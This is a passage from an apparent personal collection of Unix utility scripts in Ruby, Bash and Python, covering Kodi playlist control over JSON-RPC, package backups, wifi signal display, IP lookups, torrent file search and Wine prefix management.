:delimiter=>"\e[34m", :escape=>"\e[36m"}, :shell=>{:self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", :delimiter=>"\e[36m", :escape=>"\e[36m"}, :string=>{:self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", :delimiter=>"\e[36m", :escape=>"\e[36m"}}, ocean: {:class=>"\e[38;5;11m", :class_variable=>"\e[38;5;131m", :comment=>"\e[38;5;8m", :constant=>"\e[38;5;11m", :error=>"\e[38;5;0;48;5;131m", :float=>"\e[38;5;173m", :global_variable=>"\e[38;5;131m", :inline_delimiter=>"\e[38;5;137m", :instance_variable=>"\e[38;5;131m", :integer=>"\e[38;5;173m", :keyword=>"\e[38;5;139m", :method=>"\e[38;5;4m", :predefined_constant=>"\e[38;5;131m", :symbol=>"\e[38;5;10m", :regexp=>{:modifier=>"\e[38;5;10m", :self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;152m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}, :shell=>{:self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;10m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}, :string=>{:self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;10m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}}, modern: {:class=>"\e[38;5;207;1m", :class_variable=>"\e[38;5;80m", :comment=>"\e[38;5;24m", :constant=>"\e[38;5;32;1;4m", :error=>"\e[38;5;31m", :float=>"\e[38;5;204;1m", :global_variable=>"\e[38;5;220m", :inline_delimiter=>"\e[38;5;41;1m", :instance_variable=>"\e[38;5;80m", :integer=>"\e[38;5;37;1m", :keyword=>"\e[38;5;167;1m", :method=>"\e[38;5;70;1m", :predefined_constant=>"\e[38;5;14;1m", :symbol=>"\e[38;5;83;1m", :regexp=>{:modifier=>"\e[38;5;204;1m", :self=>"\e[38;5;208m", :char=>"\e[38;5;208m", :content=>"\e[38;5;213m", :delimiter=>"\e[38;5;208;1m", :escape=>"\e[38;5;41;1m"}, :shell=>{:self=>"\e[38;5;70m", :char=>"\e[38;5;70m", :content=>"\e[38;5;70m", :delimiter=>"\e[38;5;15m", :escape=>"\e[38;5;41;1m"}, :string=>{:self=>"\e[38;5;41m", :char=>"\e[38;5;41m", :content=>"\e[38;5;41m", :delimiter=>"\e[38;5;41;1m", :escape=>"\e[38;5;41;1m"}}, solarized: {:class=>"\e[38;5;136m", :class_variable=>"\e[38;5;33m", :comment=>"\e[38;5;240m", :constant=>"\e[38;5;136m", :error=>"\e[38;5;254m", :float=>"\e[38;5;37m", :global_variable=>"\e[38;5;33m", :inline_delimiter=>"\e[38;5;160m", :instance_variable=>"\e[38;5;33m", :integer=>"\e[38;5;37m", :keyword=>"\e[38;5;246;1m", :method=>"\e[38;5;33m", :predefined_constant=>"\e[38;5;33m", :symbol=>"\e[38;5;37m", :regexp=>{:modifier=>"\e[38;5;160m", :self=>"\e[38;5;64m", :char=>"\e[38;5;160m", :content=>"\e[38;5;64m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;160m"}, :shell=>{:self=>"\e[38;5;160m", :char=>"\e[38;5;160m", :content=>"\e[38;5;37m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;160m"}, :string=>{:self=>"\e[38;5;160m", :char=>"\e[38;5;160m", :content=>"\e[38;5;37m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;37m"}}, } CodeRay::Encoders::Terminal::TOKEN_COLORS.merge!(THEMES[:modern]) ######################################################## def kodi_rpc_url "http://#{CONFIG[:user]}:#{CONFIG[:pass]}@#{CONFIG[:host]}:#{CONFIG[:port]}/jsonrpc" end def curl(*args) cmd = ["curl", *args] # pr cmd IO.popen(cmd, &:read) end def rpc(opts) opts[:jsonrpc] ||= "2.0" opts[:id] ||= 1 puts "Request:" pr opts puts output = curl("-s", "-X", "POST", "--header", "Content-Type: application/json", "-d", JSON.dump(opts), kodi_rpc_url) if output.empty? raise "Error: output is blank" # exit 1 end json = JSON.parse(output) if error = json["error"] puts "RPC Error:" ph error # exit 2 raise end json["result"] end ######################################################## def ph(hash) puts CodeRay.scan(JSON.pretty_generate(hash), :json).term end def pr(obj) puts CodeRay.scan(obj.inspect, :ruby).term end def help! puts DATA.read end ######################################################## # https://github.com/pla1/utils/blob/master/kodiJsonExamples.sh def to_kodipath(url) case url when %r{https?://(?:www\.)?youtube\.com/(?:embed|watch)\?v=([^&]+)}, %r{https?://youtu\.be/(.+)} "plugin://plugin.video.youtube/play/?video_id=#{$1}" when %r{https?://(?:www\.)?thoughtmaybe\.com/} IO.popen(["youtube-dl", "-g", url], &:read).chomp when %r{^https?://} url else if File.exists?(url) require 'pathname' require 'uri' media = "#{Dir.home}/media/" path = Pathname.new(url).expand_path.realpath MEDIA_DIRS.each do |mediadir| if path.to_s.start_with?(mediadir) return "http://10.0.0.2:8887/#{URI.escape path.relative_path_from(mediadir).to_s}" end end raise "Error: #{path} isn't in a media dir" else raise "Error: #{url.inspect} is not an URL or existing File." end end end def jsonrpc_introspect rpc(method: "JSONRPC.Introspect") end def players rpc(method: "Player.GetPlayers") end def playlists rpc( method: "Playlist.GetPlaylists", ) end def playlist(id=1) rpc( method: "Playlist.Getitems", params: {playlistid: id, properties: %w[title duration file]}, ) end def playlist_add(*urls) items = urls.map { |url| } urls.each do |url| next if url[/\.mov$/] # rewrite bad urls if url =~ %r{^http://1192.168.127.12:\d+/([^\.]+).mpd} url = "https://youtu.be/#{$1}" end item = {file: to_kodipath(url)} result = rpc( method: "Playlist.Add", params: { playlistid: 1, item: item, }, ) ph result end # player_playpause unless active_player_id end def shuffle_current_playlist shuffled = playlist["items"].map { |item| item["file"] }.shuffle playlist_clear playlist_add(*shuffled) end def playlist_clear(id=1) ph rpc( method: "Playlist.Clear", params: { playlistid: 1 }, ) end def active_player_id @result ||= rpc(method: "Player.GetActivePlayers") @result&.first&.[]("playerid") end def playlist_jump(pos) ph rpc( method: "Player.GoTo", params: {playerid: 1, to: pos}, ) end def playlist_next playlist_jump("next") end def playlist_prev playlist_jump("previous") end def player_play ph rpc( method: "Player.Open", params: { item: { playlistid: 1 } }, ) end def player_playpause if id = active_player_id ph rpc( method: "Player.PlayPause", params: { playerid: id } ) else player_play end end def player_stop if id = active_player_id ph rpc( method: "Player.Stop", params: { playerid: id, } ) end end def player_seek(time_string) time_hash = %i[seconds minutes hours].zip(time_string.split(":").reverse.map(&:to_i)).to_h time_hash[:hours] ||= 0 time_hash[:milliseconds] = 0 rpc(method: "Player.Seek", params: {playerid: 1, value: time_hash}) end def set_volume(value) rpc(method: "Application.SetVolume", params: {volume: value}) end def clear print "\e[H\e[J" end def pretty_print_playlist # TODO: crop playlist to a region around the current track (centred in cropped window, or positioned in chunky cropped window (crop mod page-size)) items = playlist.to_h["items"] clear items.each_with_index do |item, i| label, title, file = item.values_at(*%w[label title file]) desc = nil desc ||= title unless title.empty? desc ||= label unless label.empty? desc ||= file unless file.empty? puts "#{i+1}. #{desc}" end end ######################################################## opts, args = ARGV.partition { |arg| arg[/^--?\w+/] } if (opts.empty? and args.empty?) or (opts.include?("-h") or opts.include?("--help")) help! exit end if opts.include?("-c") playlist_clear player_stop end if opts.include?("-i") ph jsonrpc_introspect elsif opts.include?("-I") puts "Usage:" puts " > rpc(method: 'Some.Method', params: {value: 'woot'})" puts " > jsonrpc_introspect" puts CodeRay::Encoders::Terminal::TOKEN_COLORS[:comment] = {} # ugly hack require 'pry' binding.pry exit elsif opts.include?("-ppp") pretty_print_playlist elsif opts.include?("-L") ph playlists elsif opts.include?("-l") if args.any? { |arg| arg[/^(\d+)$/] } ph playlist($1.to_i) else ph playlist end elsif opts.include?("-n") playlist_next elsif opts.include?("-b") playlist_prev elsif opts.include?("-p") player_playpause elsif opts.include?("-a") playlist_add(`audtool current-song-filename`.strip) elsif opts.include?("-s") player_stop elsif opts.include?("-S") shuffle_current_playlist elsif opts.include?("-v") if volume = args.find { |arg| arg[/^\d+/] } set_volume(volume.to_i) end elsif opts.include?("-t") if time = args.find { |arg| arg =~ /\d?\d(:\d\d){1,2}/ } player_seek(time) end else if args.empty? and opts.empty? help! else args.each do |arg| puts "Adding: #{arg}" playlist_add(arg) end # if args.any? and opts.include?("-c") # player_play # end end end __END__ purpose: Play things in Kodi usage: k [options] <url(s)> configuration: Make a ~/.kodirc file with the kodi RPC server's hostname, port, username, and password on their own lines. options: -l <n> List playlist (1 = videos [default], 0 = music, 2 = ???) -p Play/Pause -s Stop -S Shuffle current playlist -n Play next item -b Play previous item -v <volume> Set the volume (0-100) -t <timestamp> Seek to timestamp (eg: "5:21") -c Clear playlist -a Add whatever's playing in Audacious to the playlist -L Show playlists -I Interactive repl -i Full RPC function list <file_sep>#!/bin/bash if [ "$1" == "" ] then WD=`pwd` PAR=`basename $WD` else PAR=$1 fi if [ ! -d /archive/instbackup ] then mkdir -p /archive/instbackup fi PKGNAME=`instl | grep -i $PAR` if [ "$PKGNAME" == "" ] then echo "+ We don't got nothing to back up dood! Maybe dat ain't no real package, mang." else echo "+ Backing up $PKGNAME..." instmon --tar $PKGNAME if [ -f /tmp/$PKGNAME.tar ] then echo "+ Gzipping package..." gzip /tmp/$PKGNAME.tar mv /tmp/$PKGNAME.tar.gz /archive/instbackup/$PKGNAME-`date +'%F_%R'`.tar.gz echo "+ Backed up package:" ls -l /archive/instbackup/$PKGNAME-`date +'%F_%R'`.tar.gz #echo "+ Removing installed files..." #instmon --remove-files $PKGNAME --remove-log else echo "+ /tmp/$PKGNAME.tar wasn't created... Aborting." fi fi <file_sep>require_relative 'os' if OS.windows? PATH_SEPARATOR = ";" BINARY_EXTENSION = ".exe" else PATH_SEPARATOR = ":" BINARY_EXTENSION = "" end ################################################################## def which(bin) ENV["PATH"].split(PATH_SEPARATOR).find do |path| fullpath = File.join(path, bin) return fullpath if File.exists? fullpath + BINARY_EXTENSION end nil end def gem_deps(*gems) end def bin_deps(*bins) missing = bins.flatten ENV["PATH"].split(PATH_SEPARATOR).each do |path| # p path: path missing = missing.delete_if do |bin| fullpath = File.join(path, bin+BINARY_EXTENSION) # p fullpath File.exists? fullpath end break if missing.empty? end if missing.any? puts "missing binaries: #{missing.join(", ")}" exit 1 end true end def deps(&block) d = Deps.new(&block) d.check! end def packages(&block) end ################################################################## class Deps PACKAGE_MANAGERS = { rpm: { install: ["yum", "install"], check: ["rpm", "-q"] }, deb: { install: ["apt-get", "install"], check: ["dpkg", "-s"] }, arch: { install: ["pacman", "-U"], check: ["pacman", "-Q"] } } #---------------------------------------------------- class DSL def initialize @gems = [] @bins = [] end def gem(name) @gems << name end def bin(name, opts={}) @bins << [name, opts] end end #---------------------------------------------------- def initialize(&block) @dsl = DSL.new(&block) end def check! check_gems! check_bins! end def check_gems! gems = @gems.flatten missing = [] gems.each do |gem| begin require gem rescue LoadError missing << gem end end if missing.any? puts "missing gems: #{missing.join(", ")}" exit 1 end end def check_bins! missing = @bins.keys ENV["PATH"].split(PATH_SEPARATOR).each do |path| # p path: path missing = missing.delete_if do |bin| fullpath = File.join(path, bin+BINARY_EXTENSION) # p fullpath File.exists? fullpath end break if missing.empty? end end def check_packages!(missing_bins) packages = packages.flatten case OS.distro when :arch PACKAGE_MANAGERS[:arch] when :ubuntu, :debian PACKAGE_MANAGERS[:deb] when :fedora PACKAGE_MANAGERS[:rpm] else $stderr.puts "Unknown distro: #{OS.distro}" exit 1 end end def system_silent(*cmd) IO.popen(cmd, err: [:child, :out]) { |io| } $?.exitstatus == 0 end end ################################################################## <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options $opts = Slop.parse(help: true, strict: true) do banner "Usage: words [options]" on "i", "ignore-case", "Downcase all the words (which isn't technically ignoring, but I think it makes more sense, ok?)" on "w", "wiktionary", "Print words from the wikipedia dictionary (wiktionary)" end $args = ARGV ######################################################## def each_word wordlist = Path["/usr/share/dict/words"] wiktidx = Path["~/.cache/wikt/wikt.idx"] if wordlist.exists? and not $opts.wiktionary? wordlist.each_line { |l| yield l.chomp } else 3.times do unless wiktidx.exists? system("wict", "-u") else wiktidx.each_line { |l| yield l.split("\t").first } return end end end end begin if $opts[:i]; each_word { |w| puts w.downcase } else; each_word { |w| puts w } end rescue Interrupt; end <file_sep>#!/bin/bash # Script to randomly set Background from files in a directory # Directory Containing Pictures DIR=~/docs/backgrounds/1680 # Command to Select a random jpg file from directory # Delete the *.jpg to select any file but it may return a folder PIC=`ls $DIR | grep -E '^[[:digit:]]+\. ' | shuf -n1` echo "$PIC" # Command to set Background Image gconftool-2 -t string -s /desktop/gnome/background/picture_filename "$PIC" <file_sep>#!/bin/bash NUMFILES=25 # Sort by size if [ "$1" == "-s" ]; then shift ARGS="-hlSr" # Sort by time else ARGS="-hltr" fi # Show all files if [ "$1" == "-a" ]; then shift gnuls --color=force $ARGS "$@" | sed -r s/'^(\S+\s+){3}\S+'/''/ | less -R -X "+\\>" # Show $NUMFILES files else gnuls --color=force $ARGS "$@" | tail -n $NUMFILES | sed -r s/'^(\S+\s+){3}\S+'/''/ fi <file_sep>#!/bin/bash less +F "$*" <file_sep>#!/bin/bash BASE_PATH="/var/lib/denyhosts" if [ "$1" == "" ]; then echo "usage: denyhosts-unban <ip address>" exit 1 else IP="$1" fi /etc/init.d/denyhosts stop cd $BASE_PATH for i in hosts hosts-restricted hosts-root hosts-valid users-hosts /etc/hosts.deny do echo "- Removing $IP from $i..." mv $i $i.bak grep -v "$IP" $i.bak > $i done /etc/init.d/denyhosts start echo "* Done" <file_sep>#!/bin/bash while [ ! -f ~/.vnc/passwd ]; do echo "~/.vnc/passwd is missing -- creating a new one." echo x11vnc -storepasswd done x11vnc -ncache 10 -ncache_cr -display :0 -usepw # x11vnc -display :0 -usepw<file_sep>#!/usr/bin/env ruby clipboards = { "clipboard" => "'Clipboard' clipboard (XA_CLIPBOARD)", "primary" => "Primary clipboard (XA_PRIMARY)", "secondary" => "Secondary clipboard (XA_SECONDARY)", } if ARGV.include?("-c") puts '### Clipboards cleared! ########' puts for name, title in clipboards system("xclip", "-selection", name, "-i", "/dev/null") end end for name, title in clipboards puts "== #{title} =================" result = `xclip -o -selection #{name}` p result puts end <file_sep>#!/usr/bin/env python2 ''' ================================================= The Ubertron Awesomenator 2000! ------------------------------------------------- by <NAME> (<EMAIL>) ================================================= This is a batch converter for fixing DOS line-endings in text files (by making them UNIX line-endings!). It'll recursively chew through a tree of files (or a list you supply it with) and convert all files that have the right filename extension (i.e. .py, .txt, .c, .cpp, etc.) Edit the "validtypes" definition if you want to make it convert different types of files. Also, it converts \t's to spaces (if you add the -t <size> option). ''' __version__ = '0.3' import os, sys from os.path import join, splitext, isfile, isdir, islink validtypes = ['.py', '.txt', '.c', '.cpp', '.h', '.hpp', '.sh', '.js', '.htm', '.html', '.rb', '.rhtml', '.rjs'] ignoredirs = ['CVS', '.svn'] def isValidFile(name): root, ext = splitext(name) return ext.lower() in validtypes def getValidFiles(directory): results = [] for root, dirs, files in os.walk(directory): results.extend([join(root, name) for name in files]) for ignoredir in ignoredirs: if ignoredir in dirs: dirs.remove(ignoredir) return filter(isValidFile, results) def fixLineEnding(string): return string.rstrip('\n\r') + '\n' def fixLineEndingAndTabs(string, tabsize=None): newstring = string.rstrip('\n\r') + '\n' if tabsize: newstring = newstring.replace('\t',' '*tabsize) return newstring def convertFile(filename, tabsize=None): try: infile = open(filename, 'r') fixedlinegenerator = ( fixLineEndingAndTabs(line, tabsize) for line in infile ) tmpfilename = filename+".being-tounixed" outfile = open(tmpfilename, 'w') outfile.writelines(fixedlinegenerator) outfile.close() infile.close() os.rename(tmpfilename, filename) except Exception, e: print "* WHUZZUH?! %s *" % e def madProps(): print 'The Ubertron Awesomenator v%s :: by <NAME>\n' % __version__ def howToUseMe(): print 'This program converts MSDOS/Mac text files to UNIX format.' print print 'Usage:' print ' %s [file or directory]' % sys.argv[0] print print 'Options:' print ' -t # | convert tabs to spaces (tab size = #)' print print 'If a directory is given, all pertient filetypes in the directory and' print 'its subdirectories will be converted.' print print '(Filetypes to scan: %s)\n' % ', '.join(validtypes) if __name__ == '__main__': madProps() if len(sys.argv) >= 2: args = sys.argv[1:] convertme = [] # parse get the -t option if args[0] == '-t': tabsize = int(args[1]) args = args[2:] else: tabsize = None # parse all the filenames on the commandline for arg in args: if isfile(arg) and not islink(arg): convertme.append(arg) elif isdir(arg): convertme.extend(getValidFiles(arg)) else: print 'WTF is "%s"?!' % arg print "Converting %d files to UNIX text format..." % len(convertme) print "==========================================" for filename in convertme: print "+ %s" % filename convertFile(filename, tabsize) print "------------------------------------------" print "* Done!\n" else: howToUseMe() <file_sep>#!/bin/bash wine ~/.wine/drive_c/"Program Files (x86)"/Google/Picasa3/PicasaPhotoViewer.exe "$@" |&> /dev/null &<file_sep>#!/bin/bash for output in `xrandr | grep " connected" | fields 1`; do xrandr --output $output --gamma 1:1:1 done<file_sep>#!/usr/bin/env ruby ######################################################## gem 'slop', "~> 3.6" require 'slop' require 'uri' require 'epitools/path' ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: get [options]" on "m", "mhtml", "Capture page and assets as an MHTML file (requires 'urlsnap')" on "o=", "output", "Output filename (defaults to guessing based on URL)" on "f", "force", "Overwrite existing file" on "w", "wiki", "Get a wiki (using archiveteam dumpgenerator.py)" end args = ARGV ######################################################## def run(*cmd) puts # puts cmd.map { |c| c[" "] ? "'#{c}'" : c }.join(" ") system *cmd puts end def urlsnap(url, opts) output = opts[:output] uri = URI.parse(url) if output outfile = "#{output}.mhtml" unless output[/\.mhtml$/] else outfile = uri.path.split("/").reject(&:empty?).last outfile = File.basename(outfile, ".*") + ".mhtml" end cmd = ["urlsnap", "--mhtml=#{outfile}", url] puts "* Urlsnapping:" puts " |_ input: #{url}" print " |_ output: #{outfile}" run(*cmd) system("ls", "-l", outfile) puts end def curl(url, opts) output = opts[:output] puts " Curling:" puts " |_ input: #{url}" puts " |_ output: #{output}" if output cmd = [ "curl", "-L", # follow redirects "--xattr", # xattrs ] cmd += ["-C", "-"] unless opts.force? # resume at whatever the output file size is if output cmd += ["-o", output] else cmd += ["-O", "-J"] # Output to the filename in the URL, or to the filename in the Content-Disposition header (-J) if it's available end cmd << url run(*cmd) end ######################################################## def gemget(url) system("gemget", url) end ######################################################## def sniff_wiki(url) raise "not implemented" end def wikiget(url) #load(__dir__/"wikidump") system("wikidump", url) end ######################################################## getter = opts.mhtml? ? :urlsnap : :curl args.each do |arg| send(getter, arg, opts) end <file_sep>#!/usr/bin/env ruby ################################################################# # # TODOs: # - if a gtld is passed as an argument, lookup who owns it # and where you can register it # - filter out corporate gtlds (eg: .comcast) ################################################################# require 'oga' require 'date' require 'open-uri' class GTLD < Struct.new(:date, :name) def self.from_row(row) date, name = row.css("td").map(&:text) unless date and name nil else new(DateTime.parse(date), name.downcase) end end def to_s "[#{date.strftime("%Y-%m-%d")}] #{name}" end end opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if opts.include?("--help") or opts.include?("-h") puts "usage: gtlds <options>" puts puts "options:" puts " -n sort by name" puts exit end sort_key = opts.delete("-n") ? :name : :date html = URI.open("https://newgtlds.icann.org/en/program-status/delegated-strings") doc = Oga.parse_html(html) results = doc.css("tr").map { |row| GTLD.from_row(row) }.compact IO.popen(["less"], "w") do |less| results.sort_by(&sort_key.to_proc).each { |r| less.puts r } end <file_sep>#!/usr/bin/env ruby require 'epitools' class Disconnected < Exception; end class NoDevice < Exception; end def iwconfig #output = `iwconfig 2>&1|grep Quality` output = `iwconfig 2>&1` devices = output.lines.split_before(/^\w/).select{|a| a.any?} # split before non-indented lines wifi_devs = devices.select {|dev| dev.first[/^(wlan0|ath)/] } wifi_devs = Hash[ wifi_devs.map do |lines| name = lines.first.scan(/^\S+/).first pairs = lines.map { |line| line.scan(/\b([A-Z][\w\s]+)[=:]"?(\S+)\b/) }.flatten(1) [name, Hash[pairs]] end ] wifi_devs end def get_wlan0 devs = iwconfig devs["wlan0"] end width = 8 begin loop do # {"wlan0"=> # {"ESSID"=>"zen", # "Mode"=>"Managed", # "Frequency"=>"2.427", # "AC"=>"81:12:EF:2F:84", # "Bit Rate"=>"78", # "Power"=>"20", # "Retry long limit"=>"7", # "RTS thr"=>"off", # "Fragment thr"=>"off", # "Power Management"=>"off", # "Link Quality"=>"34/70", # "Signal level"=>"-76", # "Rx invalid nwid"=>"0", # "Rx invalid crypt"=>"0", # "Rx invalid frag"=>"0", # "Tx excessive retries"=>"2533", # "Invalid misc"=>"1483", # "Missed beacon"=>"0"}} dev = get_wlan0 unless dev puts "wlan0 not found" sleep 4 next end if name = dev["ESSID"] signal = dev["Signal level"].to_i begin quality, total = dev["Link Quality"].split("/").map(&:to_i) multiplier = (quality.to_f/total) percent = (multiplier * 100).round(1) blocks = (multiplier * width).round bar = "<11>#{ "#"*blocks }<9>#{"."*(width-blocks)}" rescue end msg = (" <7>#{name} <1>-> #{bar}" + " <15>#{percent}<7>%" + " <8>(<3>#{signal} dBm<8>) ").colorize print msg print "\b"*60 sleep 1 else puts "Link down" sleep 2 end end rescue Interrupt puts exit end <file_sep>#!/usr/bin/env ruby # # Reads from STDIN or files, and counts how many copies of a line occur. # counts = Hash.new { |h,k| h[k] = 0 } ARGF.each{ |line| counts[line] += 1 } for k,v in counts.to_a.sort_by { |k,v| v } puts "#{v.to_s.rjust(5)}: #{k}" end <file_sep>#!/bin/bash if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then echo "usage: battery [-v]" exit 1 fi if [ "$1" == "-v" ]; then upower -i $(upower -e | grep BAT) else upower -i $(upower -e | grep BAT) | grep --color=never -E "state|to\ full|to\ empty|percentage" fi <file_sep># Reference: # https://download.nvidia.com/XFree86/Linux-x86_64/465.31/README/openglenvvariables.html # 0 No anisotropic filtering # 1 2x anisotropic filtering # 2 4x anisotropic filtering # 3 8x anisotropic filtering # 4 16x anisotropic filtering export __GL_LOG_MAX_ANISO=4 export __GL_SYNC_TO_VBLANK=1 # $ nvidia-settings --query=fsaa --verbose # Attribute 'FSAA' (grog:0.0): 0. # Valid values for 'FSAA' are: 0, 1, 5, 9, 10 and 11. # 'FSAA' can use the following target types: X Screen. # Note to assign 'FSAA' on the commandline, you may also need to assign # 'FSAAAppControlled' and 'FSAAAppEnhanced' to 0. # Valid 'FSAA' Values # value - description # 0 - Off # 1 - 2x (2xMS) # 5 - 4x (4xMS) # 9 - 8x (4xSS, 2xMS) # 10 - 8x (8xMS) # 11 - 16x (4xSS, 4xMS) export __GL_FSAA_MODE=11 # shows info like api, framerate, vsync, etc. #export __GL_SHOW_GRAPHICS_OSD=1 # The __GL_SHARPEN_ENABLE environment variable can be used to enable image sharpening for OpenGL and Vulkan applications. Setting __GL_SHARPEN_ENABLE=1 enables image sharpening, while setting __GL_SHARPEN_ENABLE=0 (default) disables image sharpening. The amount of sharpening can be controlled by setting the __GL_SHARPEN_VALUE environment variable to a value between 0 and 100, with 0 being no sharpening, 100 being maximum sharpening, and 50 being the default. The amount of denoising done on the sharpened image can be controlled with the __GL_SHARPEN_IGNORE_FILM_GRAIN environment variable, with 0 being no denoising, 100 being maximum denoising, and 17 being the default. <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: ipinfo <ip address>" exit 1 fi IP="$1" if ! echo $IP | grep -E '^([0-9]{1,3}\.?){4}$' &> /dev/null then IP=$(dig +short "$IP" | head -n1) fi if [ "$IP" == "" ]; then echo "IP address not found" exit 1 fi curl https://ipinfo.io/$IP echo<file_sep>#!/bin/bash if [ "$1" == "--help" ] || [ "$1" == "-h" ]; then echo "Usage:" echo " pulse-mic-loopback [-u]" echo echo "Options:" echo " -u Unload module" echo echo "Purpose:" echo " Create a loopback device so you can listen to your own mic" echo exit fi if [ "$1" == "-u" ]; then echo "* Unloading loopback module..." pactl unload-module module-loopback else echo "* Loading loopback module..." pactl load-module module-loopback latency_msec=1 fi <file_sep>#!/usr/bin/env ruby gem 'epitools'; require 'epitools' gem 'bencode'; require 'bencode' ################################################################## def torrent_info(path) data = BEncode.load path.read data && data["info"] rescue BEncode::DecodeError nil end def matching_files(files, pattern) files.select {|file| file["path"].any? {|part| part[pattern] } } end def highlight(str, pattern) str.highlight(pattern) { |m| "<14>#{m}</14>"} end def relative_path(pwd, path) pstring = path.to_s pstring[pwd] = "" if pstring.startswith(pwd) pstring end def print_tree(hash, level=0, &block) hash.each do |key, val| leaf = val.empty? yield key, level, leaf print_tree(val, level+1, &block) unless leaf end end ################################################################## args = ARGV if args.size < 1 puts "tgrep - Search the files inside torrents" puts puts "usage: tgrep <regexp> <torrent(s)>" puts exit 1 end pattern = Regexp.new(args.shift, Regexp::IGNORECASE) args << "." if args.empty? paths = args.map(&:to_Path) paths = paths.map{|path| path.dir? ? path.ls_r : path }.flatten.select(&:file?) pwd = Path.pwd.to_s lesspipe do |less| for path in paths next unless path.ext == "torrent" relpath = relative_path(pwd, path) info = torrent_info(path) if info files = info["files"] # array of {path: [..], length: 999} hashes name = info["name"] if files matches = matching_files(files, pattern) if matches.any? less.puts "* <2>#{relpath}".colorize less.puts " #{name}".light_cyan tree = {} matches.each do |h| tree.mkdir_p(h["path"]) end print_tree(tree) do |key, level, leaf| color = leaf ? 7 : 9 less.puts " #{" "*level}<8>|_ <#{color}>#{highlight(key, pattern)}".colorize end # tree.print_tree do |key, level| # " #{" "*level}<8>|_ <7>#{highlight(key, pattern)}".colorize # end less.puts end else if name[pattern] less.puts "* #{relpath}" less.puts " <11>#{highlight(name, pattern)}".colorize less.puts end end else less.puts "* <12>#{relpath} <7>could not be parsed".colorize less.puts end end end ################################################################## <file_sep>#!/usr/bin/ruby ################################################################### ## IRB tweaks # Note: You must install these gems: # * hirb # * looksee # * boson # * bond # (It won't tell you if they're not installed... the RC file will # just terminate before it's finished.) puts "Loading modules..." def req mod puts " |_ #{mod}" require mod rescue Exception => e puts "Error: #{e.inspect}" puts e.backtrace puts end req 'irb/completion' IRB.conf[:AUTO_INDENT] = true IRB.conf[:USE_READLINE] = true IRB.conf[:LOAD_MODULES] ||= [] #modules_to_load.each do |m| # unless IRB.conf[:LOAD_MODULES].include?(m) # IRB.conf[:LOAD_MODULES] << m # end #end ################################################################### ## Misc Ruby libraries req 'rubygems' req 'pp' req 'pathname' req 'open-uri' req 'epitools' ## PM req 'print_members' class Object def meths(pattern=//) PrintMembers.print_members(self, pattern) end end def src(str) case str when /^(.+)[\.#](.+)$/ obj = eval $1 method = $2.to_sym puts print "=> ".light_red puts "#{obj.inspect}##{method}".light_cyan puts PrintMembers.print_source(obj, method) else puts "Dunno what #{str} is." end end req 'rdoc/ri/driver' ENV['PAGER'] = 'less -X -F -i -R' def ri(original_query, regex=nil) query = original_query.to_s ri_driver = RDoc::RI::Driver.new(RDoc::RI::Driver.process_args([query])) # if query is a class ri recognizes if (class_cache = ri_driver.class_cache[query]) methods = [] class_methods = class_cache["class_methods"].map {|e| e["name"]} instance_methods = class_cache["instance_methods"].map {|e| e["name"]} if regex class_methods = class_methods.grep(/#{regex}/) instance_methods = instance_methods.grep(/#{regex}/) end all_methods = class_methods.each {|e| methods << {:name=>"#{query}.#{e}", :type=>:class}} + instance_methods.each {|e| methods << {:name=>"#{query}.#{e}", :type=>:instance}} menu(methods, :fields=>[:name, :type]) do |chosen| system_ri(*chosen.map {|e| e[:name]}) end else results = ri_driver.select_methods(/#{query}/) menu(results, :fields=>['full_name'], :ask=>false) do |chosen| system_ri(*chosen.map {|e| e['full_name']}) end end end ################################################################### ## echo def echo(val = true) val = val.truthy? puts "Echo #{val ? "ON" : "OFF"}" conf.echo = val end def noecho echo(false) end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## PREFIX_DIR = Path["~/.local/share/wineprefixes"] SETTINGS_DIR = Path["~/.config/wineprefix"] SETTINGS_DIR.mkdir_p unless SETTINGS_DIR.exists? SETTINGS_FILE = SETTINGS_DIR/"defaults.json" ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: wineprefix [options] <command/.exe>" on "n=", "name", "Prefix name" on "l", "list", "List prefixes" on "3", "32", "32-bit (default)" on "6", "64", "64-bit" on "r=", "rm", "Delete a prefix" on "w=", "windows-version", "Windows Version (eg: XP, 7, 8, 10)" end args = ARGV ######################################################## def h1(msg, s=nil) s ||= msg.size + 4 puts "=" * s puts " #{msg}" puts "=" * s end def load_settings SETTINGS_FILE.exists? ? SETTINGS_FILE.parse : {} end def save_settings(settings) SETTINGS_FILE.write settings.to_json end ######################################################## settings = load_settings prefixes = PREFIX_DIR.ls.filter(&:dir?) prefix = opts[:name] cmd = args # List prefixes if opts.list? # w = prefixes.map { |f| f.dirs.last.size }.max + 8 h1 "Prefixes (location: #{PREFIX_DIR})" PREFIX_DIR.cd do system(*["du", "-s", "-h", *prefixes.map { |p| p.dirs.last } ]) end exit end if args.empty? # did they supply only the prefix name? lookup the binary they last used if not prefix.blank? and bin = settings["prefix: #{prefix}"] bin = Path.new(bin) else puts "Error: Must supply a command or prefix (or both)".light_red puts opts exit 1 end end bin = Path[cmd.first] if prefix.blank? # is it in the settings? if prefix = settings["bin: #{bin&.path}"] puts "Using prefix #{prefix.inspect} from settings..." else # let the user pick it! prefix = opts[:name] || IO.popen(["fzf", '--prompt="Select a prefix: "', "--border=rounded"], "r+") do |io| prefixes.each { |prefix| io.puts(prefix.dirs.last) } io.close_write io.gets&.strip end end end prefix_path = PREFIX_DIR/prefix # INFO h1 "Prefix: #{prefix_path}" # Prompt to 